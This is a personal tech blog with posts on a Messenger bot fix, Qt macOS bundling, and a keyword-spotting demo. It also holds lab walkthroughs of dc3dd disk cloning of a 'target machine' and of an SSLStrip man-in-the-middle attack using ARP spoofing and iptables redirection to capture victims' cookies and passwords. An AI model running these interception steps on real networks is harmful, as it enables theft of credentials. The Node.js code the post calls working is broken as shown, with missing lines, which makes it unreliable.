Tuesday, May 17, 2016

“(#100) No matching user found” - Facebook Messenger Bot Bug

On May 13th, I found that my Facebook Messenger bot failed to response some users, and as I read the error log of my webhook process, then got something like:
"error": {
    "message": "(#100) No matching user found",
    "type": "OAuthException",
    "code": 100,
    "fbtrace_id": “XXXXXXXXXXX”

Some Backgrounds

At this point, Facebook Messenger Bot is still new, which is reasonable to have some bugs. I’m using `Node.js for my webhook on Heroku, and I followed the tutorial provided by Facebook for setting up the bot.


Soon, I found this bug is discussed on Facebook Bug Page here. The problem is that Facebook decided to switch their encoding to use strings instead of ints for user & page IDs, which made the example code (template code) on Facebook official tutorial page fail to response users with string IDs.


Facebook send out notifications to the app developers saying:
On Tue May 17 format of user and page ids delivered via webhooks will change from an int to a string to better support default json encoder in js (that trims long ints). Please make sure your app works with string ids returned from webhooks as well as with ints.


I believe that Facebook will make the original code in the tutorial work pretty soon; however, there are people providing the solution online already. Here’s the template code that should work:
var express = require('express');
var bodyParser = require('body-parser');
var request = require("request");

var app = express();

const JSONbig = require('json-bigint')

app.set('port', (process.env.PORT || 5000));

app.use(express.static(__dirname + '/public'));
app.use(bodyParser.text({ type: 'application/json' }))

app.listen(app.get('port'), function() {
  console.log('Node app is running on port', app.get('port'));

var token = "<YOUR_TOEKN_HERE>";

function sendTextMessage(sender, text) {
  messageData = {
      url: 'https://graph.facebook.com/v2.6/me/messages',
      qs: {access_token:token},
      method: 'POST',
      json: {
        recipient: {id:sender},
        message: messageData,
  }, function(error, response, body) {
    if (error) {
      console.log('Error sending message: ', error);
    } else if (response.body.error) {
      console.log('Error: ', response.body.error);

app.post('/webhook/', function (req, res) {

  var data = JSONbig.parse(req.body);
  messaging_events = data.entry[0].messaging;

  for (i = 0; i < messaging_events.length; i++) {

    event = data.entry[0].messaging[i];
    sender = event.sender.id.toString();

    if (event.message && event.message.text) {
      text = event.message.text;
      sendTextMessage(sender, text);



Make sure you’ve added body-parser, express, json-bigint, and request to your NPM.


My Bot, Ducky, is now working well and be public, please feel free to message him here: http://m.me/ducky.bot!

Thursday, May 5, 2016

Qt Mac Application Failed to Create Self-contained App Bundle (Qt Creator Build)

Recently, I encountered a problem in creating an app bundle using Qt Creator with Qt 5.6, so I posted my question with detail on StackOverflow here.

In this post, I am going to point out the places I got wrong, and some studies.


Scott is a friend of mine for years, and he is best programmer I’ve ever met in Taiwan. He helped me on this question, and I would like to quote his words here:

Do try to figure out what you did wrong before. Look at the RPATH, install names etc in your executable and update your StackOverflow question with those findings. Finding out what you did wrong is an important step in understanding a system. This makes your exercise of publishing apps on multiple platforms more meaningful.

@executable_path, @loader_path, @rpath

The first reason I couldn’t build the app build is that I didn’t fully understand the path names used on Mac, and here is my study of @executable_path, @loader_path, and @rpath.

  • @executable_path: the folder path of application’s executable
    • ex. /Applications/Foo.app/Contents/MacOS
    • useful for frameworks embedded inside the applications
  • @loader_path: the folder path of the related plug-in’s code
    • ex. /Library/Application Support/Foo/Plug-Ins/Bar.bundle/Contents/MacOS
    • useful for frameworks embedded inside plug-ins
    • availabe from Mac OS X 10.4
  • @rpath: instructs the dynamic linker to search a list of paths in order to locate the framework
    • no need to specify the “install path” using either @executable_path or @loader_path, but pass additional flags when building the host application (ex. -rpath @excutable/…/Frameworks or /Library/Frameworks)
    • availabe from Mac OS X 10.5


The second reason I was stuck is that otool didn’t resolve @rpath names, so I was confused when it always returned me the same thing.

However, Scott wrote another version of otool that resolves the rpaths here. Here are the steps that demostrate the difference:

> otool -L bibi.app/Contents/MacOS/bibi
        @rpath/QtWidgets.framework/Versions/5/QtWidgets (compatibility version 5.6.0, current version 5.6.0)
        @rpath/QtGui.framework/Versions/5/QtGui (compatibility version 5.6.0, current version 5.6.0)
        @rpath/QtCore.framework/Versions/5/QtCore (compatibility version 5.6.0, current version 5.6.0)
        /System/Library/Frameworks/OpenGL.framework/Versions/A/OpenGL (compatibility version 1.0.0, current version 1.0.0)
        /System/Library/Frameworks/AGL.framework/Versions/A/AGL (compatibility version 1.0.0, current version 1.0.0)
        /usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 120.1.0)
        /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1226.10.1)

> otool-rpath bibi.app/Contents/MacOS/bibi

> macdeployqt ./*.app -verbose=3 -always-overwrite -appstore-compliant

> otool -L bibi.app/Contents/MacOS/bibi
        @rpath/QtWidgets.framework/Versions/5/QtWidgets (compatibility version 5.6.0, current version 5.6.0)
        @rpath/QtGui.framework/Versions/5/QtGui (compatibility version 5.6.0, current version 5.6.0)
        @rpath/QtCore.framework/Versions/5/QtCore (compatibility version 5.6.0, current version 5.6.0)
        /System/Library/Frameworks/OpenGL.framework/Versions/A/OpenGL (compatibility version 1.0.0, current version 1.0.0)
        /System/Library/Frameworks/AGL.framework/Versions/A/AGL (compatibility version 1.0.0, current version 1.0.0)
        /usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 120.1.0)
        /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1226.10.1)

> otool-rpath bibi.app/Contents/MacOS/bibi


The last reason I failed to understand what’s going on is the output of macdeployqt, which confused me.

> macdeployqt bibi.app
File exists, skip copy: "bibi.app/Contents/PlugIns/platforms/libqcocoa.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/printsupport/libcocoaprintersupport.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqdds.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqgif.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqicns.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqico.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqjpeg.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqtga.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqtiff.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqwbmp.dylib"
File exists, skip copy: "bibi.app/Contents/PlugIns/imageformats/libqwebp.dylib"
WARNING: "bibi.app/Contents/Resources/qt.conf" already exists, will not overwrite.
WARNING: To make sure the plugins are loaded from the correct location,
WARNING: please make sure qt.conf contains the following lines:
WARNING: [Paths]
WARNING:   Plugins = PlugIns

However, in Scott’s solution, he gave following additional arguments:

  • -verbose=3: see how the rpaths are updated in details (Scott’s log)
  • always-overwrite: copy files even if the target file exists, so the first (Scott: I used “always-overwrite” to get predictable results after repeated testing, since the Qt frameworks would be copied into the app bundle.)
  • appstore-compliant: skip deployment of components that use private API (Scott: appstore-compliant was just for your convenience)


Testing is one additional thing the made the original question harder to be solved: there’s no easy way to see if my app bundle works on the other machine without Qt installed.

Instead of asking friends to run the app, Scott mentioned that we can use `lsof at run-time.

> ps aux|grep bibi
heron           21610   0.0  0.5  2632680  40272   ??  S    Tue09PM   5:32.80 /Users/heron/Project/bibi/bibi/build-bibi-Desktop_Qt_5_6_0_clang_64bit-Release/bibi.app/Contents/MacOS/bibi
heron           39245   0.0  0.0  2434840    664 s003  R+    9:31AM   0:00.00 grep --color=auto bibi

> lsof -p 39183 | grep QtCore
bibi    21610 heron  txt      REG                1,4   6441676 168354669 /Users/heron/Qt-free/5.6/clang_64/lib/QtCore.framework/Versions/5/QtCore

After macdeployqt, the app bundle no longer needs to link to frameworks outside the bundle:

> ps aux|grep bibi
heron           39352   0.0  0.0  2435864    788 s003  S+    9:32AM   0:00.00 grep --color=auto bibi
heron           39315   0.0  0.8  2611176  63000   ??  S     9:32AM   0:00.68 /Users/heron/Project/bibi/bibi/bibi/bibi.app/Contents/MacOS/bibi

> lsof -p 39315 | grep QtCore
bibi    39315 heron  txt      REG    1,4   6017532 171823963 /Users/heron/Project/bibi/bibi/bibi/bibi.app/Contents/Frameworks/QtCore.framework/Versions/5/QtCore


I would say the biggest problem is that I didn’t know how to read @rpath, so Scott’s otool-rpath or lsof helps eventually.


Sunday, April 10, 2016

Kali Tool Series - dc3dd

“dc3dd is a patched version of GNU dd with added features for computer forensics” - from ForensicsWiki.

Comparison to GNU dd

While I was using dd, I found it’s hard to know how long will it take, and if the cloning was done completely without error. However, dc3dd fixes all these problems by providing:

  • on the fly hashing with multiple algorithms (MD5, SHA–1, SHA–256, and SHA–512)
  • progress reports
  • writing errors directly to a file

When and Why using dd or dc3dd

In the movies or TV series, we can see hackers plugin a USB disk then copy all the data out of the machine, and that’s the case we can use dd or dc3dd.

To be more specific, the flow is:

  • insert a Kali live usb disk into the target machine
  • do the Kali Forensics Boot
  • dd or dc3dd the disk of the target machine into a file on the Kali USB disk or another USB disk


I use VMs, so I won’t have the target machine in this example. However, you can pretend the disk I am going to clone (/dev/sda5) is the disk of the target machine. And, I am cloning the disk into a file stored in another USB disk.

First of all, list out the partitions of all the disks.

> fdisk -l

Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x7b852532

Device     Boot    Start      End  Sectors  Size Id Type
/dev/sda1  *        2048 40136703 40134656 19.1G 83 Linux
/dev/sda2       40138750 41940991  1802242  880M  5 Extended
/dev/sda5       40138752 41940991  1802240  880M 82 Linux swap / Solaris

Disk /dev/sdb: 3.8 GiB, 4026531840 bytes, 7864320 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x893a988d

Device     Boot Start     End Sectors  Size Id Type
/dev/sdb1         976 7864319 7863344  3.8G  b W95 FAT32

Pick the one you want to clone later, and here I am using the Linux swap (/dev/sda5), which is kind of meaningless but enough for practice purpose.

Then, locate the place you want to save your cloned disk image. Usually, you would want to use another USB disk since the machine may not belong to you, and what you want to do is to clone the disk, save in the USB disk, then take away. I will save the file on the /dev/sdb disk, which is mounted at /media/root/0909-B70D/disk-img/.

Start dc3dd:

> dc3dd if=/dev/sda5 of=/media/root/0909-B70D/disk-img/cloned hash=sha256

dc3dd 7.2.641 started at 2016-04-10 12:56:50 +0800
compiled options:
command line: dc3dd if=/dev/sda5 of=/media/root/0909-B70D/disk-img/cloned hash=sha256
device size: 1802240 sectors (probed),      922,746,880 bytes
sector size: 512 bytes (probed)
   261455872 bytes ( 249 M ) copied ( 28% ),   33 s, 7.6 M/s                  

  • if: input disk location
  • of: output image location
  • hash: calculate the hash on the fly


After the cloning is completed, we can check if the file looks exactly the same as the original by comparing the hash code:

> dc3dd if=/dev/sda5 of=/media/root/0909-B70D/disk-img/cloned hash=sha256

dc3dd 7.2.641 started at 2016-04-10 12:56:50 +0800
compiled options:
command line: dc3dd if=/dev/sda5 of=/media/root/0909-B70D/disk-img/cloned hash=sha256
device size: 1802240 sectors (probed),      922,746,880 bytes
sector size: 512 bytes (probed)
   922746880 bytes ( 880 M ) copied ( 100% ),  236 s, 3.7 M/s                 

input results for device `/dev/sda5':
   1802240 sectors in
   0 bad sectors replaced by zeros
   f1409a56a4518860c45b23ef95e9dfd50d12bf98fbdb9eb72f39d2fc2182e79f (sha256)

output results for file `/media/root/0909-B70D/disk-img/cloned':
   1802240 sectors out

dc3dd completed at 2016-04-10 13:00:45 +0800

> file /media/root/0909-B70D/disk-img/cloned 
/media/root/0909-B70D/disk-img/cloned: Linux/i386 swap file (new style), version 1 (4K pages), size 225279 pages, no label, UUID=767f785e-d7fb-4b3c-9f8e-b02761db620e
> sha256sum /media/root/0909-B70D/disk-img/cloned 
f1409a56a4518860c45b23ef95e9dfd50d12bf98fbdb9eb72f39d2fc2182e79f  /media/root/0909-B70D/disk-img/cloned

As you can see, the swap file is copied, and the hashs are the same (f1409a56a4518860c45b23ef95e9dfd50d12bf98fbdb9eb72f39d2fc2182e79f).

Kali Forensics Boot

By doing the Kali Forensics Boot, one can gain lots of benefits from being silent. That is, the Kali Forensics Boot provides following features:

  • the internal hard disk is never touched
  • auto-mounting of removable media is disabled


Wednesday, April 6, 2016

Kali Tool Series - SSLStrip

Refer to “How does SSLstrip work?” on StackExchange: SSLStrip is a type of MitM attack that forces a victim’s browser into communicating with an adversary in plain-text over HTTP, and the adversary proxies the modified content from an HTTPS server. To do this, SSLStrip is “stripping” https:// URLs and turning them into http:// URLs.
> sslstrip -h

sslstrip 0.9 by Moxie Marlinspike
Usage: sslstrip <options>

-w <filename>, --write=<filename> Specify file to log to (optional).
-p , --post                       Log only SSL POSTs. (default)
-s , --ssl                        Log all SSL traffic to and from server.
-a , --all                        Log all SSL and HTTP traffic to and from server.
-l <port>, --listen=<port>        Port to listen on (default 10000).
-f , --favicon                    Substitute a lock favicon on secure requests.
-k , --killsessions               Kill sessions in progress.
-h                                Print this help message.


We will use ARP Spoofing in order to obtain the victim’s traffic, which means that the traffic will go through our Kali machine then pass back to the victim or the server he/she is communicating with. Then, we will be listening on port 80, the basic HTTP protocol port. All the traffic of port 80 will be routed to SSLStrip, and SSLStrip will handle rest of the HTTPS traffics.
The expected results was that the attacker will be able to read the requests between the victim and the HTTPS websites he/she is visiting, which may contains valuable cookies or passwords. However, in my experiment, SSLStrip crashed, and it’s seems that this method is out of date.

Find the Gateway IP

> route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface         UG    0      0        0 eth0         UG    1024   0        0 eth0   U     0      0        0 eth0 UH    1024   0        0 eth0

> netstat -nr
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface         UG        0 0          0 eth0         UG        0 0          0 eth0   U         0 0          0 eth0
So, the Gateway IP is in my case.

Find the Victim IP

As I run Kali in VM, I will let the victim be a Ubuntu server, which is also another VM on my machine. I run this on my Ubuntu:
> ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:4f:5f:5b
          inet addr:  Bcast:  Mask:
          inet6 addr: fe80::20c:29ff:fe4f:5f5b/64 Scope:Link
          RX packets:118 errors:0 dropped:0 overruns:0 frame:0
          TX packets:81 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:15530 (15.5 KB)  TX bytes:14538 (14.5 KB)

lo        Link encap:Local Loopback
          inet addr:  Mask:
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:16 errors:0 dropped:0 overruns:0 frame:0
          TX packets:16 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1184 (1.1 KB)  TX bytes:1184 (1.1 KB)
That is, the victim IP is If you have no access of the victim machine, you can use commands like nmap -sP to search.

IP Routing

We are going to redirect Kali’s inbound traffic from 80 to the port SSLStrip is running on (let’s use 5050 here).
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5050
To check if the routing rule is set:
> iptables -L -vt nat
Chain PREROUTING (policy ACCEPT 100 packets, 13501 bytes)
 pkts bytes target     prot opt in     out     source               destination
   16   960 REDIRECT   tcp  --  any    any     anywhere             anywhere             tcp dpt:http redir ports 5050
If you want to clean up some mess and reset, here’s the way to clear all PREROUTING rules:
for i in $( iptables -t nat --line-numbers -L | grep ^[0-9] | awk '{ print $1 }' | tac ); do iptables -t nat -D PREROUTING $i; done

IP Forwarding

Since we are going to issue ARP Spoofing later, we have to enable IP forwarding first. So, whenever the Kali machine recieves packages, it will send them to the proper destination. We call this MitM (Man in the Middle).
> echo 1 > /proc/sys/net/ipv4/ip_forward
> cat /proc/sys/net/ipv4/ip_forward # check

ARP Sproof

Now, in order to let the traffic flow through our Kali machine (Mitm), we need ARP Sproof. The syntax is:
> arpspoof -i interface -t target_IP -r gateway_IP
In our case:
> arpspoof -i eth0 -t -r
0:c:29:80:9a:85 0:50:56:e9:3:c 0806 42: arp reply is-at 0:c:29:5a:28:9e
0:c:29:80:9a:85 0:c:29:5a:28:9e 0806 42: arp reply is-at 0:50:56:e9:3:c
The process is blocking, and we should keep it running.


Start SSLStrip on port 5050 (or any port you like, just make sure that matches the one we used in IP Routing).
> sslstrip -l 5050

sslstrip 0.9 by Moxie Marlinspike running...

Victim Browse HTTPS Websites

Since my victim only has Command Line Interface, so I am using lynx as my browser.
> lynx http://www.paypal.com
On Kali’s Wireshark, we can tell that ARP Spoofing is working because all duplicated packages are shown. (In the screenshot, the upper part happened when ARP Spoofing was off, and all the traffics looks normal. The lower part happened when ARP Spoofing was on, we can see that Kali recieved all the traffic to/from victim,, then passed through.)

SSLStrip Result

SSLStrip crashed right after the user is about to connect the HTTPS website. I’ve tried to get the latest SSLStrip 0.9.2, but it crashes in the same way. And, I also found the other users are suffering from this issue as well: sslstrip on non hsts site error #17 and Execptions in twisted #15.
There’s the error:
sslstrip 0.9 by Moxie Marlinspike running...
Unhandled Error
Traceback (most recent call last):
  File "sslstrip.py", line 105, in main
  File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1192, in run
  File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1204, in mainLoop
  File "/usr/lib/python2.7/dist-packages/twisted/internet/epollreactor.py", line 396, in doPoll
    log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
  File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 88, in callWithLogger
    return callWithContext({"system": lp}, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 73, in callWithContext
    return context.call({ILogContext: newCtx}, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
    return self.currentContext().callWithContext(ctx, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
    return func(*args,**kw)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 627, in _doReadOrWrite
    self._disconnectSelectable(selectable, why, inRead)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 260, in _disconnectSelectable
  File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 484, in connectionLost
    self._commonConnection.connectionLost(self, reason)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 298, in connectionLost
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 474, in connectionLost
  File "/root/sslstrip-0.9.2/src/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 485, in handleResponseEnd
  File "/root/sslstrip-0.9.2/src/sslstrip/ServerConnection.py", line 133, in handleResponse
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 962, in write
    raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
The experiment didn’t work, and I may come back to this if I found something new.


DoS v.s. DDoS

People like to mix up DoS with DDos, which are similiar but different. By refering to Wikipedia, we got:

DoS: A denial-of-service (DoS) attack is an attempt to make a machine or network resource unavailable to its intended users, such as to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet.

DDoS: A distributed denial-of-service (DDoS) is where the attack source is more than one, often thousands of, unique IP addresses.


DoS is launched by one machine; on the contrast, DDoS is launched by distributed machines.

Refer to DDoS attack - Distributed Denial of Service, we got: “A Denial of Service (DoS) attack is different from a DDoS attack. The DoS attack typically uses one computer and one Internet connection to flood a targeted system or resource. The DDoS attack uses multiple computers and Internet connections to flood the targeted resource. DDoS attacks are often global attacks, distributed via botnets.”

Who Mixed Them Up?

I’ve been seeing this mistake for a long time, people keep mixing up these two names. If the attack was only launched on one machine, then it’s called DoS instead of DDoS. Some examples of people who got it wrong here:

Why This Matters?

DoS is easy to launch, and easy to be defended. On the other hand, DDoS is always a big threat in current world since victims have a difficult time distinguishing the bad guys from the large amount of users. DDoS is a serious problem that we should be focus on (see Digital Attack Map hosted by Google); and those who claim what they were doing were DDoS attacks but actually DoS attacks should stop delivering wrong information to the public.

How To Launch DDoS Then?

Too bad, I’ve never launched a DDoS attack before, which I believe it’s illegal as well. However, followings are the information about it if you’re interested in knowing more. And, one should NOT apply them on real machines/networks unless he/she fully understand the consequences.

First of all, you need a BotNet, or a distributed machines under your control. Bad guys buy the BotNet on Black Market. Those machines are usually the ones had been hacked, so attackers can control them via the backdoor left on the machine.

Then, the attacker will ask all the bot machines send requests to the victim. The requests will be in a high frequency, and make the victim couldn’t handle all of them (run out of memory or CPU), eventually the service freezed. UFONet is one tool I found online that is designed to test/launch DDoS attacks written in Python.

Monday, April 4, 2016

Keyword Spotting for Controlling Window Background Color

This is a small testing program that uses both CMUSphinx and GTK+ to demonstrate keyword spotting (KWS) algorithm.

KWS is the technique used to detect the keyword at anytime. Yes, this is the technique applied for “Okay, Google” and “Hey, Siri”. Whenever the keyword is heard by the machine, some callback function will be fired up.


  • Originally, Hidden Markov Model system
  • Google, 2014, Deep Neural Network (DNN), demos outperformance to HMM system
  • Google, 2015, Convolutional Neural Networks (CNNs), demos outperformance to DNN
    • ignore input topology, as the (fixed) input can be presented in any order without affecting the performance of the network
    • not explicitly designed to model translational variance within speech signals, which can exist due to different speaking styles / capture translational invariance with far fewer parameters by averaging the outputs of hidden units


CMU Sphinx Project by Carnegie Mellon University

  • CMU LTI, Language Technology Institute
  • Designed to be adopted on different platforms including iOS, Android, Raspberry Pi, etc.
  • License: BSD-style (nice!)

Raspberry Pi 2 – Speech Recognition on device

  • Upload word list to http://www.speech.cs.cmu.edu/tools/lmtool-new.html
  • Link .lm and .dict file, command: pocketsphinx_continuous -inmic yes -lm 0730.lm -dict 0730.dic -samprate 16000/8000/48000

My Code

Github link: https://github.com/heronyang/kws-color-demo


In main.c, the program fires up a thread for handling GUI jobs right after it started. Then, it started to setup pocketsphinx and call recognize_from_microphone or recognize_from_file for the audio input. Since argc/argv is passed into the settings, the user can specify the dictionary file or log file as what is written in run.sh.


> ./run.sh